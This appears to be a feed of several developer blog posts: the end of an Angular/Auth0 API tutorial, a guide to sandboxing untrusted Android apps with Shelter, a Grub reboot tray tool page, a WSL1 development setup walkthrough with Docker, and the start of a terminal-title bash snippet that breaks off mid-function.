<pre class="language-typescript"><code class="language-typescript"><span class="token keyword">import</span> <span class="token punctuation">{</span> HttpClient <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'@angular/common/http'</span><span class="token punctuation">;</span></code></pre>
<p>Edit the <code>app.component.html</code> and display the message returned from the protected backend in the HTML.</p>
<pre class="language-html"><code class="language-html">
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">*ngIf</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>secureMessage<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>{{ secureMessage.message }}<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>div</span><span class="token punctuation">></span></span>
</code></pre>
<p>Refresh the frontend page and the message <em>“This is a protected endpoint”</em> appears if you’re logged in.
Refresh once more and watch the network traffic in developer tools. Note that the Auth0 <code>authorize</code> and <code>token</code> exchanges happen twice.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/015.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/015.png" alt="Secure API call" loading="lazy" /></span>
<figcaption>Secure API call</figcaption>
</figure><p></p>
<p>The first exchange is for your normal authentication check (which is how the username and email are displayed). The response contains a JWT ID Token, but an opaque access token which isn’t of much use to us.
The second exchange is when the <code>http.get</code> call is about to be made - the library requests an Access Token with the <code>my-api</code> audience, and a JWT Access Token is in the response.
You can then see the <code>Authorization: Bearer</code> header passing that Access Token along to the protected endpoint which allows access.</p>
<h2 id="finishing-notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#finishing-notes">Finishing notes</a></h2>
<p>There were a lot of steps involved here and these are all needed early in during Angular + OAuth project setups.</p>
<p>I’ve covered:</p>
<ul>
<li>Generating the frontend using <a href="https://angular.io/cli/new">ng new</a></li>
<li>Integrating with the Auth0 Angular library. Most of the instructions above are from <a href="https://github.com/auth0/auth0-angular">the library’s own documentation</a></li>
<li>Generating a backend API in Express (use any backend webserver you prefer, as long as it can intercept and validate JWTs before passing the request to endpoints)</li>
<li>Proxying requests to the backend API using <code>/api</code> on the same domain as the frontend</li>
<li>Passing frontend settings from a public endpoint on the backend API</li>
<li>Dynamically loading settings in the Angular <a href="https://angular.io/api/core/APP_INITIALIZER">App Initializer</a>, for Auth0 as well as general app settings.</li>
<li>Protecting a backend API endpoint with an Auth0 Audience</li>
<li>Converting a normal Angular application into a <a href="https://auth0.com/docs/applications/first-party-and-third-party-applications">first party application</a></li>
<li>Setting up the Auth0 Angular library to intercept requests and pass Access Tokens with the right audience</li>
<li>Calling a protected API securely from the frontend</li>
</ul>
<p>Once this is done, the project can then be used for ‘normal’ development activity in a secure way.</p>
Privacy - running untrusted apps safely using the Shelter app2020-10-09T00:00:00Zhttps://code.mendhak.com/run-apps-in-privacy-shelter/<p>Sometimes you may need to run an app that you’re not comfortable with or don’t necessarily trust. Android comes with a feature that lets you run such apps in <em>relative</em> isolation, without compromising your security or privacy.</p>
<p>Android <a href="https://blog.google/products/android-enterprise/work-profile-new-standard-employee-privacy/">Work Profiles</a> create a workspace isolated from the functionality of your regular apps. Work profiles come with their own contacts, files and accounts. This means any apps that run in the Work Profile will not have access to your normal contacts, files and accounts.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/privacy-android-shelter/001.png">
<img src="https://code.mendhak.com/assets/images/privacy-android-shelter/001.png" alt="Work profiles can separate out dubious or untrusted apps" title="" loading="lazy" /></span>
<figcaption>Work Profiles Separation</figcaption>
</figure><p></p>
<h2 id="install-shelter" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-apps-in-privacy-shelter/#install-shelter">Install Shelter</a></h2>
<p>Start by installing the <a href="https://play.google.com/store/apps/details?id=net.typeblog.shelter&hl=en_IE">Shelter App</a> (also on <a href="https://f-droid.org/packages/net.typeblog.shelter/">F-Droid</a>). There are several apps that can help you manage work profiles, but the best one is <a href="https://github.com/PeterCxy/Shelter">Shelter</a>, which is free and open source.</p>
<p>When prompted, choose to <em>Continue</em>, and you’ll be guided to set up a work profile on Android. Tap the notification when it appears and the Shelter app will appear with two sections, <code>Main</code> and <code>Shelter</code> with a list of your apps. The list of apps under the <code>Shelter</code> tab will be just a few.</p>
<figure><span class="lightbox-image" data-src="/assets/images/privacy-android-shelter/007.png"><img src="https://code.mendhak.com/assets/images/privacy-android-shelter/007.png" alt="Dialog showing the initial setup of Shelter app" loading="lazy" style="width: calc(33% - 0.5em);" /></span><figcaption>Initial setup</figcaption></figure>
<h2 id="explore-the-work-profile" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-apps-in-privacy-shelter/#explore-the-work-profile">Explore the Work Profile</a></h2>
<p>Go to your apps list, and notice that the Files and Contacts apps now appear twice, and one of them will have a little briefcase icon against it; this is the Work Profile version of the app.</p>
<figure><span class="lightbox-image" data-src="/assets/images/privacy-android-shelter/004.png"><img src="https://code.mendhak.com/assets/images/privacy-android-shelter/004.png" alt="various apps with one some sporting a briefcae badge indicating work profile apps" loading="lazy" style="width: calc(33% - 0.5em);" /></span><figcaption>Work Profile apps have a briefcase icon</figcaption></figure>
<p>Tap the ‘sheltered’ Files and notice that none of your regular files are visible. Similarly try the ‘sheltered’ Contacts app and notice that it’s empty, none of your actual contacts are in there.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/privacy-android-shelter/002.png"><img src="https://code.mendhak.com/assets/images/privacy-android-shelter/002.png" alt="No contacts yet" title="" loading="lazy" data-caption="No contacts in the new Work Profile" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/privacy-android-shelter/003.png"><img src="https://code.mendhak.com/assets/images/privacy-android-shelter/003.png" alt="files app showing no files" title="" loading="lazy" data-caption="No files accessible in the new Work Profile" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/privacy-android-shelter/006.png"><img src="https://code.mendhak.com/assets/images/privacy-android-shelter/006.png" alt="Shelter tab showing very few apps" title="" loading="lazy" data-caption="Work Profile apps are under the SHELTER tab" style="width: calc(33% - 0.5em);" /></span>
<figcaption>None of your regular data visible in the Work Profile</figcaption></figure>
<h2 id="installing-apps-into-your-work-profile" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-apps-in-privacy-shelter/#installing-apps-into-your-work-profile">Installing apps into your Work Profile</a></h2>
<p>The easiest way to install apps that you’re not sure of, into Work Profile is to first download it from the Play Store, but don’t launch it.</p>
<p>Open up the Shelter app, then from the <code>Main</code> section, tap the chosen app. Choose to <code>Clone to Shelter</code> and follow the prompts. Finally be sure to uninstall the app from your main profile.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/privacy-android-shelter/008.png"><img src="https://code.mendhak.com/assets/images/privacy-android-shelter/008.png" alt="Dialog with option to clone to shelter" title="" loading="lazy" data-caption="Clone to Shelter" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/privacy-android-shelter/009.png"><img src="https://code.mendhak.com/assets/images/privacy-android-shelter/009.png" alt="screen to allow Shelter to install apps" title="" loading="lazy" data-caption="Allow Shelter to install APKs" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Clone to Shelter</figcaption></figure>
<p>Now you can launch your app - either from the Shelter app, or from your apps list, just look for the briefcase icon.</p>
<h2 id="freezing-apps" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-apps-in-privacy-shelter/#freezing-apps">Freezing apps</a></h2>
<p>Many apps run background services, even when you close the app. It’s a good practice to <em>Freeze</em> the app - this prevents the app from appearing in your apps list, and from running any background services.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/privacy-android-shelter/010.png"><img src="https://code.mendhak.com/assets/images/privacy-android-shelter/010.png" alt="Example of managing meme generator app with Shelter" title="" loading="lazy" data-caption="Meme Generator dialog in Shelter" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/privacy-android-shelter/011.png"><img src="https://code.mendhak.com/assets/images/privacy-android-shelter/011.png" alt="Dimmed entry showing a frozen app in Shelter" title="" loading="lazy" data-caption="Meme Generator app frozen in Shelter list" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Freeze app</figcaption></figure>
<h2 id="separate-google-play-accounts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-apps-in-privacy-shelter/#separate-google-play-accounts">Separate Google Play Accounts</a></h2>
<p>It’s entirely possible to run a separate set of accounts in the Work Profile, just sign in to the other Play Store. You’ll want to make sure that it’s a separate Google account, as using the same account as your original defeats the purpose of having a separate profile.</p>
<h2 id="if-you-need-to-remove-work-profiles" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-apps-in-privacy-shelter/#if-you-need-to-remove-work-profiles">If you need to remove Work Profiles</a></h2>
<p>Note that uninstalling the Shelter app will not remove your Work Profile. If you need to clean up, go to system Settings, then Accounts.<br />
Tap the Work tab, then tap ‘Remove work profile’. This will remove the work profile and any apps you installed into there.</p>
Grub Reboot Picker - boot into other OSes and BIOS/UEFI from system tray2020-07-04T00:00:00Zhttps://code.mendhak.com/grub-reboot-picker/<p>Grub Reboot Picker is a tray application that helps you reboot into other operating systems or kernels, UEFI, BIOS, or just reboot.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/grub-reboot-picker/001.png">
<img src="https://code.mendhak.com/assets/images/grub-reboot-picker/001.png" alt="Screenshot of grub reboot picker callout" title="" loading="lazy" /></span>
<figcaption>Grub Reboot Picker</figcaption>
</figure><p></p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/grub-reboot-picker"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/grub-reboot-picker </span> </a> </div> <div class="github-repo-text">Helps with dual booting. Ubuntu/Linux Mint tray application to reboot into different OSes or UEFI/BIOS</div> <div class="stats-icons"> <a href="https://github.com/mendhak/grub-reboot-picker/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 67 </a> <a href="https://github.com/mendhak/grub-reboot-picker/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 7 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> Python</a> </div></div>
<h2 id="what-it-does" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/grub-reboot-picker/#what-it-does">What it does</a></h2>
<p>The application autostarts with the OS and sits in the system tray as an application indicator. Click the icon and a list of options appear, such as UEFI, older kernels, other OSes, and of course Windows. Even if you don’t dual boot, it’s still convenient to be able to boot into UEFI/BIOS.</p>
<p>When you click one of the options, the system will reboot and the next time the Grub menu appears, your selection will be preselected. This allows you to set a small timeout on the Grub menu.</p>
<div class="notice info">
I’ve only tested this with Ubuntu 18.04, 20.04, and 22.04 but it should work on any system which runs grub and Gnome.
</div>
<h2 id="how-to-install-and-run-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/grub-reboot-picker/#how-to-install-and-run-it">How to install and run it</a></h2>
<p>It’s available in my ppa, run these commands:</p>
<pre><code>sudo add-apt-repository ppa:mendhak/ppa
sudo apt update
sudo apt install grub-reboot-picker
</code></pre>
<p>You can then reboot and the reboot icon will appear in the system tray.<br />
Or you can search for Grub Reboot Picker in the Gnome Activities search.<br />
Or you can run <code>grub-reboot-picker</code> from the command line, or search</p>
<h2 id="how-it-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/grub-reboot-picker/#how-it-works">How it works</a></h2>
<p>The appliction basically parses <code>/etc/default/grub</code> and lists out the entries in the system tray menu. When an item is picked, the application uses <code>grub-reboot</code> and passes the user selected entry, and then runs the <code>reboot</code> command.</p>
<p>Since the grub file also contains entries for UEFI/BIOS, it’s also convenient even if the system is not dual boot.</p>
Setting up a WSL1 dev environment from the command line2020-05-25T00:00:00Zhttps://code.mendhak.com/my-wsl-dev-setup/<p>Steps that I take to install WSL with Ubuntu, and set up a dev environment to work with Docker, correct permissions and a few other tweaks, on Windows 10. I’ll show the commands to run with explanations.</p>
<p>You can also <a href="https://code.mendhak.com/my-wsl-dev-setup/#automating-the-whole-thing">go straight to the automation scripts</a>.</p>
<h2 id="enable-wsl" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#enable-wsl">Enable WSL</a></h2>
<p>If Windows Subsystem for Linux isn’t already set up, run this from a Powershell (admin) prompt.</p>
<pre class="language-powershell"><code class="language-powershell"><span class="token function">Enable-WindowsOptionalFeature</span> <span class="token operator">-</span>Online <span class="token operator">-</span>FeatureName Microsoft-Windows-Subsystem-Linux</code></pre>
<p>You will need to reboot after this.</p>
<h3 id="get-the-ubuntu-18-04-image" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#get-the-ubuntu-18-04-image">Get the Ubuntu 18.04 image</a></h3>
<p>You can install <a href="https://www.microsoft.com/en-gb/p/ubuntu-1804-lts/9n9tngvndl3q">Ubuntu 18.04 from the Microsoft Store</a>.
You can also just do it via Powershell (admin); download the <code>.appx</code> directly and install it.</p>
<pre class="language-powershell"><code class="language-powershell"><span class="token function">New-Item</span> <span class="token operator">-</span>ItemType Directory <span class="token operator">-</span>Force <span class="token operator">-</span>Path C:\Temp
<span class="token function">Invoke-WebRequest</span> <span class="token operator">-</span>Uri <span class="token string">"https://aka.ms/wsl-ubuntu-1804"</span> <span class="token operator">-</span>OutFile <span class="token string">"C:\Temp\UBU1804.appx"</span> <span class="token operator">-</span>UseBasicParsing
<span class="token function">Add-AppxPackage</span> <span class="token operator">-</span>Path <span class="token string">"C:\Temp\UBU1804.appx"</span></code></pre>
<div class="notice warning">
I’m choosing Ubuntu 18.04 as <a href="https://github.com/microsoft/WSL/issues/4898">20.04 currently has a critical bug</a>, and there are <a href="https://discourse.ubuntu.com/t/ubuntu-20-04-and-wsl-1/15291">more details here</a>
</div>
<h2 id="configure-ubuntu" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#configure-ubuntu">Configure Ubuntu</a></h2>
<p>Run the first time install. This creates a root user, needed in the next step, and not your own user yet.</p>
<pre class="language-powershell"><code class="language-powershell">ubuntu1804<span class="token punctuation">.</span>exe install <span class="token operator">--</span>root</code></pre>
<p>Verify that the install worked:</p>
<pre class="language-powershell"><code class="language-powershell">> wsl <span class="token operator">--</span>list
Windows Subsystem <span class="token keyword">for</span> Linux Distributions:
Ubuntu-18<span class="token punctuation">.</span>04 <span class="token punctuation">(</span>Default<span class="token punctuation">)</span></code></pre>
<h3 id="set-c-as-the-mount-point" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#set-c-as-the-mount-point">Set /c/ as the mount point</a></h3>
<p>Set <code>/c/</code> as the mount point, instead of the default <code>/mnt/c/</code> - this is needed to work with Docker Desktop for volume mounting.
Also, set a permission mask so that WSL can invoke applications in Windows.</p>
<pre class="language-powershell"><code class="language-powershell">ubuntu1804<span class="token punctuation">.</span>exe run <span class="token string">"echo '[automount]' > /etc/wsl.conf"</span>
ubuntu1804<span class="token punctuation">.</span>exe run <span class="token string">"echo 'root = /' >> /etc/wsl.conf"</span>
ubuntu1804<span class="token punctuation">.</span>exe run <span class="token string">"echo 'options = \"</span><span class="token string">"metadata,umask=22,fmask=11,uid=1000,gid=1000\"</span><span class="token string">"' >> /etc/wsl.conf"</span></code></pre>
<h3 id="create-your-user" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#create-your-user">Create your user</a></h3>
<p>Now create a user, in this example the username is <code>mendhak</code>, just set it to what you want.<br />
You will be prompted to set a password too.<br />
The user will also be configured to run sudo commands without a password prompt.</p>
<pre class="language-powershell"><code class="language-powershell">ubuntu1804<span class="token punctuation">.</span>exe run adduser mendhak <span class="token operator">--</span>gecos <span class="token string">"First,Last,RoomNumber,WorkPhone,HomePhone"</span> <span class="token operator">--</span>disabled-password
ubuntu1804<span class="token punctuation">.</span>exe run usermod <span class="token operator">-</span>aG sudo mendhak
ubuntu1804<span class="token punctuation">.</span>exe run <span class="token string">"echo 'mendhak ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers"</span>
ubuntu1804<span class="token punctuation">.</span>exe run passwd mendhak
ubuntu1804<span class="token punctuation">.</span>exe config <span class="token operator">--</span>default-user mendhak</code></pre>
<p>Verify that the user has been created properly:</p>
<pre class="language-powershell"><code class="language-powershell">> ubuntu1804<span class="token punctuation">.</span>exe run whoami
mendhak</code></pre>
<h3 id="open-ms-terminal" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#open-ms-terminal">Open MS Terminal</a></h3>
<p>At this point if you open <a href="https://www.microsoft.com/en-gb/p/windows-terminal/9n0dx20hk701?rtc=1">Microsoft Terminal</a>, the Ubuntu 18.04 distro should be recognized and appear in the list of shells.</p>
<p>Choose Ubuntu. The user should already be set to <code>mendhak</code> and the path should already be set to <code>/c/Users/...</code>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/my-wsl-dev-setup/001.png">
<img src="https://code.mendhak.com/assets/images/my-wsl-dev-setup/001.png" alt="wsl" loading="lazy" /></span>
<figcaption>wsl</figcaption>
</figure><p></p>
<h3 id="install-some-dependencies" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#install-some-dependencies">Install some dependencies</a></h3>
<p>Basic updates, and adding <code>~/.local/bin</code> to the path:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt-get</span> <span class="token parameter variable">-y</span> update
<span class="token function">sudo</span> <span class="token function">apt-get</span> <span class="token parameter variable">-y</span> upgrade
<span class="token function">mkdir</span> <span class="token parameter variable">-p</span> ~/.local/bin
<span class="token builtin class-name">source</span> ~/.profile</code></pre>
<p>Packages that will be needed for development:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt-get</span> <span class="token function">install</span> <span class="token parameter variable">-y</span> <span class="token function">unzip</span> <span class="token function">git</span> figlet jq screenfetch <span class="token punctuation">\</span>
apt-transport-https ca-certificates <span class="token function">curl</span> software-properties-common <span class="token punctuation">\</span>
python3 python3-pip build-essential libssl-dev libffi-dev python-dev </code></pre>
<h3 id="install-docker-desktop-for-windows" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#install-docker-desktop-for-windows">Install Docker Desktop for Windows</a></h3>
<p>Over in Windows 10, install <a href="https://www.docker.com/products/docker-desktop">Docker Desktop</a>. The installer should configure HyperV for you as well.<br />
After installation, be sure to go to Docker Desktop’s settings, and choose to <code>Expose daemon on tcp://localhost:2375 without TLS</code></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/my-wsl-dev-setup/002.png">
<img src="https://code.mendhak.com/assets/images/my-wsl-dev-setup/002.png" alt="docker" loading="lazy" /></span>
<figcaption>docker</figcaption>
</figure><p></p>
<p>It’s also possible to automate the installation of Docker Desktop from Powershell:</p>
<pre class="language-powershell"><code class="language-powershell"><span class="token function">Start-BitsTransfer</span> <span class="token operator">-</span>Source <span class="token string">"https://download.docker.com/win/stable/Docker%20Desktop%20Installer.exe"</span> <span class="token operator">-</span>Destination <span class="token string">"C:\Temp\docker-desktop-installer.exe"</span>
C:\Temp\docker-desktop-installer<span class="token punctuation">.</span>exe install <span class="token operator">--</span>quiet</code></pre>
<p>You can even enable the option to expose the daemon by directly modifying Docker’s settings file.</p>
<pre class="language-powershell"><code class="language-powershell"><span class="token variable">$dockerpath</span> = <span class="token string">"<span class="token variable">$env</span>:APPDATA\Docker\settings.json"</span>
<span class="token variable">$settings</span> = <span class="token function">Get-Content</span> <span class="token variable">$dockerpath</span> <span class="token punctuation">|</span> <span class="token function">ConvertFrom-Json</span>
<span class="token variable">$settings</span><span class="token punctuation">.</span>exposeDockerAPIOnTCP2375 = <span class="token boolean">$true</span>
<span class="token variable">$settings</span> <span class="token punctuation">|</span> <span class="token function">ConvertTo-Json</span> <span class="token punctuation">|</span> <span class="token function">Set-Content</span> <span class="token variable">$dockerpath</span></code></pre>
<p>Then restart Docker Desktop.</p>
<h3 id="install-docker-and-docker-compose" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#install-docker-and-docker-compose">Install docker and docker-compose</a></h3>
<p>Continuing in WSL, install the Docker client first, and add your user to the docker group. Additionally, use an environment variable to point the Docker client at the Windows host.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-fsSL</span> https://download.docker.com/linux/ubuntu/gpg <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token parameter variable">-E</span> apt-key <span class="token function">add</span> -
<span class="token function">sudo</span> add-apt-repository <span class="token punctuation">\</span>
<span class="token string">"deb [arch=amd64] https://download.docker.com/linux/ubuntu \
<span class="token variable"><span class="token variable">$(</span>lsb_release <span class="token parameter variable">-cs</span><span class="token variable">)</span></span> \
stable"</span>
<span class="token function">sudo</span> <span class="token function">apt-get</span> <span class="token parameter variable">-y</span> update
<span class="token function">sudo</span> <span class="token function">apt-get</span> <span class="token function">install</span> <span class="token parameter variable">-y</span> docker-ce
<span class="token function">sudo</span> <span class="token function">usermod</span> <span class="token parameter variable">-aG</span> <span class="token function">docker</span> <span class="token environment constant">$USER</span>
<span class="token builtin class-name">echo</span> <span class="token string">"export DOCKER_HOST=tcp://localhost:2375"</span> <span class="token operator">>></span> ~/.bashrc <span class="token operator">&&</span> <span class="token builtin class-name">source</span> ~/.bashrc</code></pre>
<p>Verify that docker can talk to the Windows host</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> info
<span class="token function">docker</span> run hello-world</code></pre>
<p>Now install docker-compose</p>
<pre class="language-bash"><code class="language-bash">pip3 <span class="token function">install</span> <span class="token parameter variable">--user</span> <span class="token function">docker-compose</span></code></pre>
<p>Verify that the install worked:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker-compose</span> version</code></pre>
<h3 id="configure-gpg" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#configure-gpg">Configure GPG</a></h3>
<p>GPG needs to be told what kind of terminal this is, to allow prompting for passphrase.</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token string">'export GPG_TTY=$(tty)'</span> <span class="token operator">>></span> ~/.bashrc</code></pre>
<h3 id="create-ssh-directory" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#create-ssh-directory">Create SSH directory</a></h3>
<p>Create your SSH directory with the right permissions.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">mkdir</span> <span class="token parameter variable">-p</span> ~/.ssh/
<span class="token function">chmod</span> <span class="token number">700</span> ~/.ssh</code></pre>
<h3 id="configure-umask" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#configure-umask">Configure umask</a></h3>
<p>Due to a <a href="https://github.com/microsoft/WSL/issues/352">umask bug in WSL1</a>, files can appear with incorrect permissions. To fix it:</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token string">'[[ "$(umask)" == '</span><span class="token punctuation">\</span>'<span class="token string">'0000'</span><span class="token punctuation">\</span>'<span class="token string">' ]] && umask 0022'</span> <span class="token operator">>></span> ~/.bashrc</code></pre>
<p>To test this,</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">umask</span>
<span class="token builtin class-name">source</span> ~/.bashrc
<span class="token builtin class-name">umask</span></code></pre>
<p>The first output should be <code>0000</code>, and the second should be <code>0022</code></p>
<h2 id="starting-over" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#starting-over">Starting over</a></h2>
<p>In case you mess up, just delete the distribution.</p>
<pre class="language-powershell"><code class="language-powershell">wsl <span class="token operator">--</span>terminate Ubuntu-18<span class="token punctuation">.</span>04
wsl <span class="token operator">--</span>unregister Ubuntu-18<span class="token punctuation">.</span>04 </code></pre>
<p>And <a href="https://code.mendhak.com/my-wsl-dev-setup/#configure-ubuntu">configure Ubuntu again</a></p>
<h2 id="automating-the-whole-thing" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-wsl-dev-setup/#automating-the-whole-thing">Automating the whole thing</a></h2>
<p>It’s also possible to automate the entire process - from installing WSL to Ubuntu to configuring the bash environment, and even installing Docker Desktop for Windows.</p>
<p>You will need two scripts, a <code>preparewsl.ps1</code> and a <code>preparewsl.sh</code>.</p>
<p><a href="https://github.com/mendhak/automated-wsl-dev-setup/blob/master/preparewsl.ps1"><button>preparewsl.ps1</button></a> <a href="https://github.com/mendhak/automated-wsl-dev-setup/blob/master/preparewsl.sh"><button>preparewsl.sh</button></a></p>
<p>Kick off the process by running the Powershell script, which in turn calls the bash script.</p>
<pre class="language-powershell"><code class="language-powershell">powershell <span class="token operator">-</span>executionpolicy bypass <span class="token operator">-</span>file <span class="token punctuation">.</span>\preparewsl<span class="token punctuation">.</span>ps1</code></pre>
<div class="notice info">
About halfway, the script will prompt you for your desired WSL username and password.<br />
</div>
How to set the title of a tab in terminal2020-05-19T00:00:00Zhttps://code.mendhak.com/set-terminal-title/<p>Both gnome-terminal in Ubuntu as well as Windows Terminal with bash allow you to set the title of the current tab you’re working in. This can be useful if you’re in multiple shell sessions and need a visual cue to switch between them.</p>
<p>Open up your <code>~/.bashrc</code> file,</p>
<pre><code>nano ~/.bashrc
</code></pre>
<p>And then add this function at the end:</p>
<pre class="language-bash"><code class="language-bash"><span class="token keyword">function</span> <span class="token function-name function">set-title</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">[</span><span class="token punctuation">[</span> <span class="token parameter variable">-z</span> <span class="token string">"<span class="token variable">$ORIG</span>"</span> <span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">then</span>
<span class="token assign-left variable">ORIG</span><span class="token operator">=</span><span class="token environment constant">$PS1</span>
<span class="token keyword">fi</span>
